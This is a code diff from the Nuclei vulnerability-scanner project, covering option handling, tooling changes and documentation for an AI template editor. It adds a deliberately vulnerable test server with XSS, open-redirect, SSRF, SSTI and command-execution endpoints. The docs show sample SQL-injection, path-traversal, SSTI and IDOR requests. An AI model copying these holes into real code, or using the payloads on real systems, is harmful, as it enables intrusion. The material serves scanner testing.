config.DefaultConfig.SetTemplatesDir(options.NewTemplatesDirectory)
|
||||
}
|
||||
|
||||
defaultProfilesPath := filepath.Join(config.DefaultConfig.GetTemplateDir(), "profiles")
|
||||
if templateProfile != "" {
|
||||
if filepath.Ext(templateProfile) == "" {
|
||||
if tp := findProfilePathById(templateProfile, defaultProfilesPath); tp != "" {
|
||||
templateProfile = tp
|
||||
} else {
|
||||
gologger.Fatal().Msgf("'%s' is not a profile-id or profile path", templateProfile)
|
||||
}
|
||||
}
|
||||
if !filepath.IsAbs(templateProfile) {
|
||||
if filepath.Dir(templateProfile) == "profiles" {
|
||||
defaultProfilesPath = filepath.Join(config.DefaultConfig.GetTemplateDir())
|
||||
}
|
||||
currentDir, err := os.Getwd()
|
||||
if err == nil && fileutil.FileExists(filepath.Join(currentDir, templateProfile)) {
|
||||
templateProfile = filepath.Join(currentDir, templateProfile)
|
||||
} else {
|
||||
templateProfile = filepath.Join(defaultProfilesPath, templateProfile)
|
||||
}
|
||||
}
|
||||
if !fileutil.FileExists(templateProfile) {
|
||||
gologger.Fatal().Msgf("given template profile file '%s' does not exist", templateProfile)
|
||||
}
|
||||
if err := flagSet.MergeConfigFile(templateProfile); err != nil {
|
||||
gologger.Fatal().Msgf("Could not read template profile: %s\n", err)
|
||||
}
|
||||
}
|
||||
|
||||
if len(options.SecretsFile) > 0 {
|
||||
for _, secretFile := range options.SecretsFile {
|
||||
if !fileutil.FileExists(secretFile) {
|
||||
gologger.Fatal().Msgf("given secrets file '%s' does not exist", options.SecretsFile)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
cleanupOldResumeFiles()
|
||||
return flagSet
|
||||
}
|
||||
@@ -599,7 +498,6 @@ func printVersion() {
|
||||
gologger.Info().Msgf("Nuclei Engine Version: %s", config.Version)
|
||||
gologger.Info().Msgf("Nuclei Config Directory: %s", config.DefaultConfig.GetConfigDir())
|
||||
gologger.Info().Msgf("Nuclei Cache Directory: %s", config.DefaultConfig.GetCacheDir()) // cache dir contains resume files
|
||||
gologger.Info().Msgf("PDCP Directory: %s", pdcp.PDCPDir)
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
@@ -643,10 +541,10 @@ Note: Make sure you have backup of your custom nuclei-templates before proceedin
|
||||
gologger.Fatal().Msgf("could not read response: %s", err)
|
||||
}
|
||||
resp = strings.TrimSpace(resp)
|
||||
if stringsutil.EqualFoldAny(resp, "y", "yes") {
|
||||
if strings.EqualFold(resp, "y") || strings.EqualFold(resp, "yes") {
|
||||
break
|
||||
}
|
||||
if stringsutil.EqualFoldAny(resp, "n", "no", "") {
|
||||
if strings.EqualFold(resp, "n") || strings.EqualFold(resp, "no") || resp == "" {
|
||||
fmt.Println("Exiting...")
|
||||
os.Exit(0)
|
||||
}
|
||||
@@ -663,27 +561,6 @@ Note: Make sure you have backup of your custom nuclei-templates before proceedin
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
func findProfilePathById(profileId, templatesDir string) string {
|
||||
var profilePath string
|
||||
err := filepath.WalkDir(templatesDir, func(iterItem string, d fs.DirEntry, err error) error {
|
||||
ext := filepath.Ext(iterItem)
|
||||
isYaml := ext == extensions.YAML || ext == extensions.YML
|
||||
if err != nil || d.IsDir() || !isYaml {
|
||||
// skip non yaml files
|
||||
return nil
|
||||
}
|
||||
if strings.TrimSuffix(filepath.Base(iterItem), ext) == profileId {
|
||||
profilePath = iterItem
|
||||
return fmt.Errorf("FOUND")
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil && err.Error() != "FOUND" {
|
||||
gologger.Error().Msgf("%s\n", err)
|
||||
}
|
||||
return profilePath
|
||||
}
|
||||
|
||||
func init() {
|
||||
// print stacktrace of errors in debug mode
|
||||
if strings.EqualFold(os.Getenv("DEBUG"), "true") {
|
||||
|
||||
@@ -1,18 +0,0 @@
|
||||
id: basic-dns-a-example
|
||||
|
||||
info:
|
||||
name: Test DNS A Query Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: SRV
|
||||
class: inet
|
||||
recursion: true
|
||||
retries: 3
|
||||
matchers:
|
||||
- type: word
|
||||
part: all
|
||||
words:
|
||||
- "SRV"
|
||||
@@ -1,40 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/scan/charts"
|
||||
)
|
||||
|
||||
var (
|
||||
dir string
|
||||
address string
|
||||
output string
|
||||
)
|
||||
|
||||
func main() {
|
||||
flag.StringVar(&dir, "dir", "", "directory to scan")
|
||||
flag.StringVar(&address, "address", ":9000", "address to run the server on")
|
||||
flag.StringVar(&output, "output", "", "output filename of generated html file")
|
||||
flag.Parse()
|
||||
|
||||
if dir == "" {
|
||||
flag.Usage()
|
||||
return
|
||||
}
|
||||
|
||||
server, err := charts.NewScanEventsCharts(dir)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
server.PrintInfo()
|
||||
|
||||
if output != "" {
|
||||
if err = server.GenerateHTML(output); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
server.Start(address)
|
||||
}
|
||||
@@ -68,7 +68,6 @@ func init() {
|
||||
defaultOpts := types.DefaultOptions()
|
||||
// need to set headless to true for headless templates
|
||||
defaultOpts.Headless = true
|
||||
defaultOpts.EnableCodeTemplates = true
|
||||
if err := protocolstate.Init(defaultOpts); err != nil {
|
||||
gologger.Fatal().Msgf("Could not initialize protocol state: %s\n", err)
|
||||
}
|
||||
@@ -162,7 +161,7 @@ func process(opts options) error {
|
||||
var updated bool // if max-requests is updated
|
||||
dataString, updated, err = parseAndAddMaxRequests(templateCatalog, path, dataString)
|
||||
if err != nil {
|
||||
gologger.Info().Label("max-request").Msg(logErrMsg(path, err, opts.debug, errFile))
|
||||
gologger.Info().Label("max-request").Msgf(logErrMsg(path, err, opts.debug, errFile))
|
||||
} else {
|
||||
if updated {
|
||||
gologger.Info().Label("max-request").Msgf("✅ updated template: %s\n", path)
|
||||
@@ -231,7 +230,7 @@ func logErrMsg(path string, err error, debug bool, errFile *os.File) string {
|
||||
return msg
|
||||
}
|
||||
|
||||
// enhanceTemplate enhances template data using templateman
|
||||
// enhanceTemplateData enhances template data using templateman
|
||||
// ref: https://github.com/projectdiscovery/templateman/blob/main/templateman-rest-api/README.md#enhance-api
|
||||
func enhanceTemplate(data string) (string, bool, error) {
|
||||
resp, err := retryablehttp.DefaultClient().Post(fmt.Sprintf("%s/enhance", tmBaseUrl), "application/x-yaml", strings.NewReader(data))
|
||||
@@ -255,7 +254,7 @@ func enhanceTemplate(data string) (string, bool, error) {
|
||||
return data, false, errorutil.New("validation failed").WithTag("validate")
|
||||
}
|
||||
if templateResp.Error.Name != "" {
|
||||
return data, false, errorutil.New("%s", templateResp.Error.Name)
|
||||
return data, false, errorutil.New(templateResp.Error.Name)
|
||||
}
|
||||
if strings.TrimSpace(templateResp.Enhanced) == "" && !templateResp.Lint {
|
||||
if templateResp.LintError.Reason != "" {
|
||||
@@ -266,7 +265,7 @@ func enhanceTemplate(data string) (string, bool, error) {
|
||||
return data, false, errorutil.New("template enhance failed")
|
||||
}
|
||||
|
||||
// formatTemplate formats template data using templateman format api
|
||||
// formatTemplateData formats template data using templateman format api
|
||||
func formatTemplate(data string) (string, bool, error) {
|
||||
resp, err := retryablehttp.DefaultClient().Post(fmt.Sprintf("%s/format", tmBaseUrl), "application/x-yaml", strings.NewReader(data))
|
||||
if err != nil {
|
||||
@@ -289,7 +288,7 @@ func formatTemplate(data string) (string, bool, error) {
|
||||
return data, false, errorutil.New("validation failed").WithTag("validate")
|
||||
}
|
||||
if templateResp.Error.Name != "" {
|
||||
return data, false, errorutil.New("%s", templateResp.Error.Name)
|
||||
return data, false, errorutil.New(templateResp.Error.Name)
|
||||
}
|
||||
if strings.TrimSpace(templateResp.Updated) == "" && !templateResp.Lint {
|
||||
if templateResp.LintError.Reason != "" {
|
||||
@@ -345,7 +344,7 @@ func validateTemplate(data string) (bool, error) {
|
||||
return false, errorutil.New("validation failed").WithTag("validate")
|
||||
}
|
||||
if validateResp.Error.Name != "" {
|
||||
return false, errorutil.New("%s", validateResp.Error.Name)
|
||||
return false, errorutil.New(validateResp.Error.Name)
|
||||
}
|
||||
return false, errorutil.New("template validation failed")
|
||||
}
|
||||
|
||||
@@ -1,27 +1,94 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"io"
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils/fuzzplayground"
|
||||
)
|
||||
|
||||
var (
|
||||
addr string
|
||||
"github.com/labstack/echo/v4"
|
||||
"github.com/labstack/echo/v4/middleware"
|
||||
"github.com/projectdiscovery/retryablehttp-go"
|
||||
)
|
||||
|
||||
func main() {
|
||||
flag.StringVar(&addr, "addr", "localhost:8082", "playground server address")
|
||||
flag.Parse()
|
||||
e := echo.New()
|
||||
e.Use(middleware.Recover())
|
||||
e.Use(middleware.Logger())
|
||||
|
||||
defer fuzzplayground.Cleanup()
|
||||
server := fuzzplayground.GetPlaygroundServer()
|
||||
defer server.Close()
|
||||
|
||||
// Start the server
|
||||
if err := server.Start(addr); err != nil {
|
||||
gologger.Fatal().Msgf("Could not start server: %s\n", err)
|
||||
e.GET("/", indexHandler)
|
||||
e.GET("/info", infoHandler)
|
||||
e.GET("/redirect", redirectHandler)
|
||||
e.GET("/request", requestHandler)
|
||||
e.GET("/email", emailHandler)
|
||||
e.GET("/permissions", permissionsHandler)
|
||||
if err := e.Start("localhost:8082"); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
var bodyTemplate = `<html>
|
||||
<head>
|
||||
<title>Fuzz Playground</title>
|
||||
</head>
|
||||
<body>
|
||||
%s
|
||||
</body>
|
||||
</html>`
|
||||
|
||||
func indexHandler(ctx echo.Context) error {
|
||||
return ctx.HTML(200, fmt.Sprintf(bodyTemplate, `<h1>Fuzzing Playground</h1><hr>
|
||||
<ul>
|
||||
<li><a href="/info?name=test&another=value&random=data">Info Page XSS</a></li>
|
||||
<li><a href="/redirect?redirect_url=/info?name=redirected_from_url">Redirect Page OpenRedirect</a></li>
|
||||
<li><a href="/request?url=https://example.com">Request Page SSRF</a></li>
|
||||
<li><a href="/email?text=important_user">Email Page SSTI</a></li>
|
||||
<li><a href="/permissions?cmd=whoami">Permissions Page CMDI</a></li>
|
||||
</ul>
|
||||
`))
|
||||
}
|
||||
|
||||
func infoHandler(ctx echo.Context) error {
|
||||
return ctx.HTML(200, fmt.Sprintf(bodyTemplate, fmt.Sprintf("Name of user: %s%s%s", ctx.QueryParam("name"), ctx.QueryParam("another"), ctx.QueryParam("random"))))
|
||||
}
|
||||
|
||||
func redirectHandler(ctx echo.Context) error {
|
||||
url := ctx.QueryParam("redirect_url")
|
||||
return ctx.Redirect(302, url)
|
||||
}
|
||||
|
||||
func requestHandler(ctx echo.Context) error {
|
||||
url := ctx.QueryParam("url")
|
||||
data, err := retryablehttp.DefaultClient().Get(url)
|
||||
if err != nil {
|
||||
return ctx.HTML(500, err.Error())
|
||||
}
|
||||
defer data.Body.Close()
|
||||
|
||||
body, _ := io.ReadAll(data.Body)
|
||||
return ctx.HTML(200, fmt.Sprintf(bodyTemplate, string(body)))
|
||||
}
|
||||
|
||||
func emailHandler(ctx echo.Context) error {
|
||||
text := ctx.QueryParam("text")
|
||||
if strings.Contains(text, "{{") {
|
||||
trimmed := strings.SplitN(strings.Trim(text[strings.Index(text, "{"):], "{}"), "*", 2)
|
||||
if len(trimmed) < 2 {
|
||||
return ctx.HTML(500, "invalid template")
|
||||
}
|
||||
first, _ := strconv.Atoi(trimmed[0])
|
||||
second, _ := strconv.Atoi(trimmed[1])
|
||||
text = strconv.Itoa(first * second)
|
||||
}
|
||||
return ctx.HTML(200, fmt.Sprintf(bodyTemplate, fmt.Sprintf("Text: %s", text)))
|
||||
}
|
||||
|
||||
func permissionsHandler(ctx echo.Context) error {
|
||||
command := ctx.QueryParam("cmd")
|
||||
fields := strings.Fields(command)
|
||||
cmd := exec.Command(fields[0], fields[1:]...)
|
||||
data, _ := cmd.CombinedOutput()
|
||||
|
||||
return ctx.HTML(200, fmt.Sprintf(bodyTemplate, string(data)))
|
||||
}
|
||||
@@ -0,0 +1,265 @@
|
||||
---
|
||||
|
||||
title: 'AI Assistance'
|
||||
|
||||
---
|
||||
|
||||
<img src="/images/ai.jpg" alt="AI Prompt" width="800px"/>
|
||||
|
||||
[Nuclei Template Editor](https://templates.nuclei.sh/) has AI to generate templates for vulnerability reports. This document helps to guide you through the process, offering you usage tips and examples.
|
||||
|
||||
## Overview
|
||||
|
||||
Powered by public Nuclei templates and a rich CVE data set, the AI understands a broad array of security vulnerabilities. First, the system interprets the user's prompt to identify a specific vulnerability. Then, it generates a template based on the steps required to reproduce the vulnerability along with all the necessary meta information to reproduce and remediate.
|
||||
|
||||
---
|
||||
|
||||
## Initial Setup
|
||||
|
||||
Kick start your AI Assistance experience with these steps:
|
||||
|
||||
1. **Provide Detailed Information**: Construct comprehensive Proof of Concepts (PoCs) for vulnerabilities like Cross-Site Scripting (XSS), and others.
|
||||
2. **Understand the Template Format**: Get to grips with the format to appropriately handle and modify the generated template.
|
||||
3. **Validation and Linting**: Utilize the integrated linter to guarantee the template's validity.
|
||||
4. **Test the Template**: Evaluate the template against a test target ensuring its accuracy.
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Best Practices
|
||||
|
||||
* **Precision Matters**: Detailed prompts yield superior templates.
|
||||
* **Review and Validate**: Consistently check matchers' accuracy.
|
||||
* **Template Verification**: Validate the template on known vulnerable targets before deployment.
|
||||
---
|
||||
|
||||
## Example Prompts
|
||||
|
||||
The following examples demonstrate different vulnerabilities and the corresponding Prompt.
|
||||
|
||||
<Accordion title="Vulnerability: Open Redirect">
|
||||
|
||||
Open redirect vulnerability identified in a web application. Here's the PoC:
|
||||
|
||||
HTTP Request:
|
||||
|
||||
```
|
||||
GET /redirect?url=http://malicious.com HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
```
|
||||
HTTP/1.1 302 Found
|
||||
Location: http://malicious.com
|
||||
Content-Length: 0
|
||||
Server: Apache
|
||||
```
|
||||
The application redirects the user to the URL specified in the url parameter, leading to an open redirect vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: SQL Injection">
|
||||
|
||||
SQL Injection vulnerability in a login form. Here's the PoC:
|
||||
|
||||
HTTP Request:
|
||||
|
||||
```
|
||||
POST /login HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
username=admin&password=' OR '1'='1
|
||||
```
|
||||
|
||||
HTTP Response:
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
...
|
||||
<p>Welcome back, admin</p>
|
||||
...
|
||||
</html>
|
||||
```
|
||||
|
||||
The application improperly handles user input in the password field, leading to an SQL Injection vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Business logic (negative cart balance)">
|
||||
|
||||
Business Logic vulnerability in a web application's shopping cart function allows for negative quantities, leading to credit. Here's the PoC:
|
||||
|
||||
HTTP Request:
|
||||
|
||||
```
|
||||
POST /add-to-cart HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
product_id=1001&quantity=-1
|
||||
```
|
||||
|
||||
HTTP Response:
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
...
|
||||
<p>Product added to cart. Current balance: -$19.99</p>
|
||||
...
|
||||
</html>
|
||||
```
|
||||
|
||||
The application fails to validate the quantity parameter, resulting in a Business Logic vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Server-side Template Injection (SSTI)">
|
||||
|
||||
Server-side Template Injection (SSTI) vulnerability through a web application's custom greeting card function. Here's the PoC:
|
||||
|
||||
```
|
||||
HTTP Request:
|
||||
|
||||
POST /create-card HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
message={{7*7}}
|
||||
```
|
||||
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
...
|
||||
<p>Your card: 49</p>
|
||||
...
|
||||
</html>
|
||||
```
|
||||
|
||||
The application processes the message parameter as a template, leading to an SSTI vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Insecure Direct Object Reference (IDOR)">
|
||||
|
||||
Insecure Direct Object Reference (IDOR) vulnerability discovered in a website's user profile page. Here's the PoC:
|
||||
|
||||
```
|
||||
HTTP Request:
|
||||
|
||||
GET /profile?id=2 HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Cookie: session=abcd1234
|
||||
```
|
||||
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
...
|
||||
<p>Welcome, otheruser</p>
|
||||
...
|
||||
</html>
|
||||
```
|
||||
|
||||
The application exposes sensitive information of a user (ID: 2) who is not the authenticated user (session: abcd1234), leading to an IDOR vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Path Traversal">
|
||||
|
||||
Path Traversal vulnerability identified in a web application's file download function. Here's the PoC:
|
||||
|
||||
```
|
||||
HTTP Request:
|
||||
|
||||
GET /download?file=../../etc/passwd HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
```
|
||||
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/plain
|
||||
Content-Length: 1827
|
||||
Server: Apache
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
```
|
||||
|
||||
The application fetches the file specified in the file parameter from the server file system, leading to a Path Traversal vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Business logic (extend VIP subscription)">
|
||||
|
||||
Business logic vulnerability in a web application's VIP subscription function allows users to extend the trial period indefinitely. Here's the PoC:
|
||||
|
||||
```
|
||||
HTTP Request:
|
||||
|
||||
POST /extend-trial HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Cookie: session=abcd1234
|
||||
```
|
||||
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
|
||||
<p>Your VIP trial period has been extended by 7 days.</p>
|
||||
|
||||
</html>
|
||||
```
|
||||
|
||||
The application does not limit the number of times the trial period can be extended, leading to a business logic vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
Each of these examples provides HTTP Requests and Responses to illustrate the vulnerabilities.
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Limitations
|
||||
|
||||
Please note that the current AI is trained primarily on HTTP data. Template generation for non-HTTP protocols is not supported at this time. Support for additional protocols is under development and will be available soon.
|
||||
|
||||
---
|
||||
@@ -0,0 +1,17 @@
|
||||
---
|
||||
title: "Generate Template (AI)"
|
||||
description: "Generate nuclei template using AI prompt"
|
||||
api: "POST https://templates-api.nuclei.sh/v1/template/user/generate"
|
||||
version: 'v1'
|
||||
---
|
||||
|
||||
|
||||
## Parameters (required)
|
||||
|
||||
<ParamField body="prompt" type="string" required>
|
||||
AI Prompt to generate nuclei template
|
||||
</ParamField>
|
||||
|
||||
<ParamField body="model" type="string" default="gpt-4" required>
|
||||
OpenAI model to use
|
||||
</ParamField>
|
||||
@@ -0,0 +1,20 @@
|
||||
---
|
||||
title: "Scan Template"
|
||||
description: "Scan target host using a specified nuclei template."
|
||||
api: "POST https://templates-api.nuclei.sh/v1/template/user/scan"
|
||||
version: 'v1'
|
||||
---
|
||||
|
||||
## Parameters (required)
|
||||
|
||||
<ParamField body="target" type="string" required>
|
||||
Target host to scan using nuclei template.
|
||||
|
||||
**Constraints**: Valid hostname or IP address or URL.
|
||||
</ParamField>
|
||||
|
||||
<ParamField body="template_base64" type="string" required>
|
||||
Base64 encoded nuclei template.
|
||||
|
||||
**Constraints**: Valid Base64 encoded template.
|
||||
</ParamField>
|
||||
@@ -0,0 +1,43 @@
|
||||
---
|
||||
title: 'Introduction'
|
||||
---
|
||||
|
||||

|
||||
|
||||
[Nuclei Template Editor](https://templates.nuclei.sh) is a multi-functional cloud hosted tool designed for creating, running, and sharing Nuclei Templates. It's packed with helpful features for individual and professional users seeking to manage and execute templates.
|
||||
|
||||
The following table showcases the current and upcoming features:
|
||||
|
||||
| Feature | Description and Use | Availability |
|
||||
| ---------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------- |
|
||||
| **Editor** | Experience something akin to using VS Code with our integrated editor, built on top of Monaco. This feature allows easy writing and modification of Nuclei Templates. | Free |
|
||||
| **Optimizer** | Leverage the in-built TemplateMan API to automatically lint, format, validate, and enhance your Nuclei Templates. | Free |
|
||||
| **Scan (URL)** | Run your templates on a targeted URL to check their validity. | Free \* |
|
||||
| **Debugger** | Utilize the in-built debugging function that displays requests and responses of your template scans, aiding troubleshooting and understanding template behavior. | Free |
|
||||
| **Cloud Storage** | Store and access your Nuclei Templates securely anytime, anywhere using your account. | Free |
|
||||
| **Sharing** | Share your templates for better collaboration by generating untraceable unique links. | Free |
|
||||
| **AI-Assistance** | Employ AI to craft Nuclei Templates based on the context of specified vulnerabilities. This feature simplifies template creation and tailors them to minimize the time required for creation. | Free \* |
|
||||
| **Scan (LIST, CIDR, ASN)**| In the professional version, run scans on target lists, network ranges (CIDR), AS numbers (ASN). | Professional `(upcoming)` |
|
||||
| **REST API** | In the professional version, fetch templates, call the AI, and perform scans remotely using APIs. | Professional `(upcoming)` |
|
||||
| **PDCP Sync** | Sync your generated templates with the ProjectDiscovery Cloud Platform for easy access and management, available in the professional version. | Professional `(upcoming)` |
|
||||
|
||||
## Free Feature Limitations
|
||||
|
||||
Some features available within the free tier have usage caps in place:
|
||||
|
||||
- **Scan (URL):** You're allowed up to **100** scans daily.
|
||||
- **AI-Assistance:** Up to **10** queries can be made each day.
|
||||
|
||||
The limitations, reset daily, ensure system integrity and availability while providing access to key functions.
|
||||
|
||||
***
|
||||
## How to Get Started
|
||||
|
||||
Begin by ensuring you have an account. If not, sign up on [https://templates.nuclei.sh](https://templates.nuclei.sh/) and follow the steps below:
|
||||
|
||||
1. Log in to your account at [https://templates.nuclei.sh](https://templates.nuclei.sh).
|
||||
2. Click on the "**Create new template**" button to open up a fresh editor.
|
||||
3. Write and modify your template. The editor avails tools like syntax highlighting, snippet suggestion, among other features to simplify your writing process.
|
||||
4. Having written your template, input your testing target and click the "**Scan**" button to authenticate your template's accuracy.
|
||||
|
||||
<iframe src="https://templates.nuclei.sh/public/CVE-2023-0297" width="700px" height="700px"></iframe>
|
||||
@@ -0,0 +1,23 @@
|
||||
---
|
||||
title: 'Template Share'
|
||||
---
|
||||
|
||||
Nuclei Template Editor offers the ability to share any public templates, including the ones you create.
|
||||
|
||||
<img src="/images/share-template.jpg" alt="Share Template" width="800px" />
|
||||
|
||||
To share a template, click on the "Share" button which generates a link that can be sent to others.
|
||||
|
||||
## How to Share Public Templates
|
||||
|
||||
Public templates are designed for ease of sharing. You don't need to be authenticated to share them, meaning there's no need to log in. These templates are mapped with their Template ID, following a static URL pattern. For instance, a public template URL might resemble this: [https://templates.nuclei.sh/public/CVE-2023-35078](https://templates.nuclei.sh/public/CVE-2023-35078). In the given URL, `CVE-2023-35078` is the Template ID representing the template in the [nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) project.
|
||||
|
||||
## How to Share User Templates
|
||||
|
||||
User templates, unlike public templates, require authentication for sharing. These templates are assigned a unique, UUID-based ID similar to YouTube's unlisted URLs for sharing purposes. This means anyone given the shared URL will be able to access the template.
|
||||
|
||||
## Revoking Access to Shared Templates
|
||||
|
||||
If at any point you want to limit the access to the shared template, it is as simple as changing the visibility of the template to private. After this change, the originally shared link will become inactive. However, you have the flexibility to share it again, which would generate a new unique ID.
|
||||
|
||||
Please remember, while sharing is easy, it's important to distribute the URL cautiously as the link allows full access to the shared template.
|
||||
@@ -0,0 +1,20 @@
|
||||
---
|
||||
title: 'Editor Shortcut'
|
||||
---
|
||||
|
||||
Nuclei Template Editor is equipped with keyboard shortcuts to make your work process more efficient. You can utilize these shortcuts whether you're creating a new template or optimizing an existing one, enabling quicker actions without interfering with your workflow.
|
||||
|
||||
Here is a list of the actions, along with their corresponding shortcut keys and descriptions:
|
||||
|
||||
| **Action** | **Shortcut Key** | **Description** |
|
||||
| ---------------------- | ----------------------- | ----------------------------------------------------- |
|
||||
| Save Template | **CMD + S** | Saves the current template. |
|
||||
| Duplicate Template | **CMD + D** | Creates a copy of a public template. |
|
||||
| Execute Template | **CMD + SHIFT + SPACE** | Run a scan with the current template. |
|
||||
| Share Template Link | **ALT + SHIFT + SPACE** | Generates a URL for sharing the current template. |
|
||||
| Search Templates | **CMD + K** | Searches within your own templates. |
|
||||
| Copy Template | **CMD + SHIFT + C** | Copies the selected template to your clipboard. |
|
||||
| Show/Hide Side Bar | **CMD + B** | Toggles the visibility of the side bar. |
|
||||
| Show/Hide Debug Panel | **CMD + SHIFT + M** | Toggles the visibility of the debug panel for extra insight. |
|
||||
|
||||
**Note:** For Mac users, the CMD key is used for these shortcuts. Non-Mac users (Windows and Linux) should use the CTRL key instead.
|
||||
@@ -0,0 +1,12 @@
|
||||
---
|
||||
title: 'Editor'
|
||||
---
|
||||
|
||||
### **Q: Who owns the templates generated by the AI?**
|
||||
**A:** You own any templates generated by the AI through the Nuclei Templates Editor. They are your property, and you are granted a perpetual license to use and modify them as you see fit.
|
||||
|
||||
### **Q: How accurate are the templates generated by the AI?**
|
||||
**A:** The accuracy of the generated templates is primarily dependent on the detail and specificity of the input you provide. The more detailed information you supply, the better the AI can understand the context and create an accurate template. However, as with any AI tool, it is highly recommended to review, validate, and test any generated templates before using them in a live environment.
|
||||
|
||||
### **Q: Does AI learn from the templates I generate?**
|
||||
**A:** No, AI does not use the templates you generate for further training or improvement of the AI model. The system only utilizes public templates and CVE data for training, ensuring your unique templates remain confidential.
|
||||
@@ -0,0 +1,130 @@
|
||||
---
|
||||
title: "Nuclei"
|
||||
---
|
||||
|
||||
<AccordionGroup>
|
||||
<Accordion title="What is nuclei?" icon="circle-info" iconType="solid">
|
||||
Nuclei is a fast and customizable vulnerability scanner based on simple **YAML-based templates**.
|
||||
|
||||
It has two components, 1) [Nuclei](http://github.com/projectdiscovery/nuclei) engine - the core of the project allows scripting HTTP / DNS / Network / Headless / File protocols based checks in a very simple to read-and-write YAML-based format. 2) Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) - ready-to-use **community-contributed** vulnerability templates.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="What was the genesis behind nuclei?" icon="circle-info" iconType="solid">
|
||||
Traditional scanners always lacked the features to allow easy-to-write custom checks on top of their engine. And this is why we started developing Nuclei with a core focus on simplicity, modularity, and the ability to scan on many assets.
|
||||
|
||||
We wanted something simple enough to be used by _**everyone**_ while complex enough to integrate into the modern web with its intricacies. The features implemented in nuclei are tailored to allow very rapid prototyping of complex security checks.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="What modules does nuclei engine support?" icon="circle-info" iconType="solid">
|
||||
Nuclei engine supports the following type of modules.
|
||||
|
||||
- [HTTP](/template-guide/http/base-http/)
|
||||
- [DNS](/template-guide/dns/)
|
||||
- [TCP](/template-guide/network/)
|
||||
- [FILE](/template-guide/file/)
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="What kind of scans can I perform with nuclei?" icon="circle-info" iconType="solid">
|
||||
Nuclei can be used to detect security vulnerabilities in **Web Applications**, **Networks**, **DNS** based misconfiguration, and **Secrets scanning** in source code or files on the local file system.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How well-maintained is this project?" icon="circle-info" iconType="solid">
|
||||
The nuclei project is actively developed and maintained by the [ProjectDiscovery](https://projectdiscovery.io/#/) team, and generally releases every 2 weeks.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How can I support/contribute to this project? 💙" icon="fire-flame-curved" iconType="solid">
|
||||
To help keep project momentum, we request everyone to write and share new templates with the community in the [template project](https://github.com/projectdiscovery/nuclei-templates). Please help us maintain this public, ready to use, and up-to-date nuclei template repository.
|
||||
|
||||
If you found an interesting/unique security issue using nuclei and want to share the process walk-through in the form of a blog, we are happy to publish your guest post on the [ProjectDiscovery blog](https://blog.projectdiscovery.io).
|
||||
</Accordion>
|
||||
|
||||
